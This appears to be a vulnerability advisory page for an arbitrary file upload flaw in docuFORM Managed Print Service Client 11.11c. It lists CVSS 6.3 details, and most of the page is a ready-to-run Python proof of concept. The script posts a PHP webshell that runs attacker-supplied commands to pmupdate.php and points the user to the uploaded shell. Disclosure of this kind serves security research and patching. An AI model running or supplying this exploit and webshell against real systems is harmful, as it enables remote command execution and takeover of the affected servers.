docuFORM Managed Print Service Client 11.11c is vulnerable to arbitrary file upload via pmupdate.php.
CVSS Details
CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
docuFORM Managed Print Service Client 11.11c
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL containing the vulnerable file
url = "http://target-ip/pmupdate.php"
# Path to the malicious file to upload (e.g., PHP webshell)
file_path = "evil_shell.php"
# Generate a simple PHP webshell content
php_content = "<?php system($_GET['cmd']); ?>"
# Prepare the files dictionary for the upload request
# The parameter name 'file' might vary based on the application's form input name
files = {
'file': (file_path, php_content, 'application/octet-stream')
}
try:
# Send POST request to upload the file
response = requests.post(url, files=files, timeout=10)
if response.status_code == 200:
print("[+] File uploaded successfully.")
print("[+] Check the upload directory to access the shell.")
else:
print(f"[-] Upload failed with status code: {response.status_code}")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")